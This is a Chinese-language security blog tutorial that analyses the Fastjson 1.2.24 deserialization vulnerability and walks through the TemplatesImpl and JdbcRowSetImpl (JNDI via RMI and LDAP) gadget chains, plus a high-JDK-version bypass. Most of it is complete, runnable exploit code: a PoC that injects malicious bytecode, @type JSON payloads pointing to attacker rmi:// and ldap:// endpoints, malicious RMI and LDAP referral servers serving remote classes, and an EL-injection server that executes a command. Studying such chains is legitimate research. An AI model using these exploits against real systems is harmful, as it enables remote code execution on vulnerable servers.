Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析
Drunkbaby Lv6

Fastjson 1.2.24版本漏洞分析

Java 反序列化 Fastjson篇 02-Fastjson 1.2.24 版本漏洞分析

0x01 前言

这篇作为自己学习 Fastjson 系列的敲门砖吧,虽然之前也通过 CTF 了解过一点了,但是那个太浅了,今天系统地学习一下。

先从 Fastjsono 1.2.24 的版本漏洞开始

0x02 环境

  • jdk8u65,最好是低一点的版本,因为有一条 Jndi 的链子;虽然说也是可以绕过,我们这里还是一步步来比较好。
  • Maven 3.6.3
  • 1.2.22 <= Fastjson <= 1.2.24

pom.xml 导入如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>

主要有两条攻击的链子,一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子。

这里我废话就不多说了,直接进入主题。

0x03 基于 TemplatesImpl 的利用链

  • 大致的思路,在上一篇里面说的可能不太清晰,我这里再总结一下。

我们的 PoC 是把恶意代码放到一个 json 格式的字符串里面,开头是要接 @type 的。这里其实赋值就代表我们不需要通过反射来修改值,而是可以直接赋值。

@type 之后是我们要去进行反序列化的类,会获取它的构造函数、getter 与 setter 方法。

所以我们首先是要找这个反序列化类的构造函数、 getter,setter 方法有问题的地方,

  • 说了一些总结性的话,现在我们从漏洞发现的角度去看一遍。

1. 链子分析

选取能够命令执行的类

这里,我们要回想起之前在学习 CC 链的时候有一条链子 CC3 链开辟了 TemplatesImpl 加载字节码的先河,而它的漏洞点在于调用了 .newInstance() 方法。我们现在回去看这里,发现漏洞点的地方实际上是一个 getter 方法,如图。

所以 TemplatesImpl 是满足我们 fastjson 漏洞的利用条件的,在构造 EXP 之前,先分析一下 EXP 里面的一些参数。

分析 TemplatesImpl 里面的参数

个人觉得这一步和当时学习 CC3 链子的时候非常像。之前是通过反射修改,这里直接放到 json 字符串里面就可以。

  • 先看 TemplatesImpl 类中的 getTransletInstance() 方法。这里可以直接参考 CC3 链子的构造。

_name 不可以为 null,需要 _class 为 null,这样进入到 defineTransletClasses 这个方法里面。所以 _class 可以不用写,或者写为 null。_tfactory 也不能为 null,具体可以见这篇 CC3 的分析文章,如果 CC 链都掌握的话,用这条 TemplatesImpl 链加载字节码是很容易理解的。

_bytecodes 是恶意字节码。恶意字节码的类需要

所以我们现在的 payload 大概是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";

"

{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'Drunkbaby',
'_tfactory':{ },

";

一开始我以为这样子就可以了,因为 fastjson 在反序列化的时候会自动去找所有的 getter 方法的,结果没弹出计算器来,后面知道原来还和 _outputProperties 这个变量有关系。

因为 fastjson 这个 sette 和 getteer 方法并不是所有都是调用的,是有条件的。

下面直接引用结论,Fastjson会对满足下列要求的setter/getter方法进行调用:

满足条件的setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

这里我们想去调用的 getTransletInstance() 这个方法不满足上述的返回值,它返回的是一个抽象类。

解决无法调用 getTransletInstance() 方法的问题

  • 这里用到的也是链子的思维,我们去找谁调用了 getTransletInstance(),右键 find usages

看着是 newTransformer() 方法调用了 getTransletInstance() 方法,但是无法了利用,因为它不是 setter/getter 方法,继续找。

此处我们找到一个 getOutputProperties() 调用了 newTransformer()。大致的链子是这样

1
2
getOutputProperties()  ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties,  
_indentNumber, _tfactory);

然后我们看 getOutputProperties() 是否满足 getter 方法里面的返回值,一看是满足的,因为返回值是 Properties 即继承自 Map 类型。

所以我们现在的 payload 里面需要去管 getOutputProperties()outputProperties 变量的值,先把它赋值为空试一试。

所以我们的 payload 大概是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";

"

{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'Drunkbaby',
'_tfactory':{ },
\"_outputProperties\":{ },

";

2. EXP 构造

payload 既然已经写好,直接 EXP 上!

这里我们在反序列化的时候的参数需要加上 Object.classFeature.SupportNonPublicField,因为 getOutputProperties() 方法是私有的,而且正常我们写 EXP 没必要不带这个参数。。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

// TemplatesImpl 链子的 EXPpublic class TemplatesImplPoc {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}

public static void main(String args[]){
try {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'Drunkbaby','_tfactory':{ },\"_outputProperties\":{ },";
System.out.println(text1);

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
  • 成功弹出计算器

0x04 基于 JdbcRowSetImpl 的利用链

简单来说就是 JNDI 注入的形式,也就是我们平常用的最多的攻击手段。

基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式。

如果平常有打过 CTF 里面 fastjson 的题目的话,基本利用都是这个方式,因为动态加载字节码更加灵活。

  • 下面我们还是以漏洞发现者的角度看一下

1. JNDI + RMI

这一条链子名为 JdbcRowSetImpl,所以我们先进到这个类里面进去。结果我翻了很久都没有看到能够命令执行利用的 getter 与 setter 方法,其实后续看 EXP 的时候师傅们可以看出来,这是 JNDI 的 Reference 的攻击方式。

JdbcRowSetImpl 类里面有一个 setDataSourceName() 方法,一看方法名就知道是什么意思了。设置数据库源,我们通过这个方式攻击。

EXP 如下

1
2
3
4
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}

根据 JNDI 注入的漏洞利用,需要先起一个 Server,然后把恶意的类放到 vps 上即可。可以把之前的 Server 复制进来。

JNDIRmiServer.java
把 localhost 换成自己的 vps 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.InitialContext;  
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
// RMI
//initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); // JNDI 注入漏洞
Reference reference = new Reference("JndiCalc","JndiCalc","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

攻击的 EXP 如下

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;  

// 基于 JdbcRowSetImpl 的利用链
public class JdbcRowSetImplExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

成功

2. JNDI + LDAP

  • 原理一致,直接上 Server 和 EXP 了

JNDILdapServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;


// jndi 绕过 jdk8u191 之前的攻击
public class JNDILdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:7777/#JndiCalc";
int port = 1099;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

然后 EXP 的

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;  

public class JdbcRowSetImplLdapExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

成功

0x05 Fastjson 攻击中 jdk 高版本的绕过

这里是针对基于 JdbcRowSetImpl 的利用链的 jdk 高版本绕过,绕过手段和之前是一样的,直接放 EXP 了。

JNDIBypassHighJavaServerEL.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.sun.jndi.rmi.registry.ReferenceWrapper;  
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// JNDI 高版本 jdk 绕过服务端,用 bind 的方式
public class JNDIBypassHighJavaServerEL {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry(1099);

// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);

// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));

// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}

我们的 EXP 不变。

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;  

public class HighJdkBypass {
public static void main(String[] args) {
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

值得一提的是,这个 EXP 需要 CC 链的环境,当时我这里踩了坑哈哈。

0x06 小结

先小结一下两种攻击方式,TemplatesImpl 是有一点限制的,需要对方的代码里面能够让我们加载的私有的 getter/setter。也就是需要这个参数 Feature.SupportNonPublicField

第二种攻击方式,需要针对 jdk 版本吧,不过平常攻击肯定是第二种用的比较多。

0x07 参考资料

Fastjson系列二——1.2.22-1.2.24反序列化漏洞 [ Mi1k7ea ]

 评论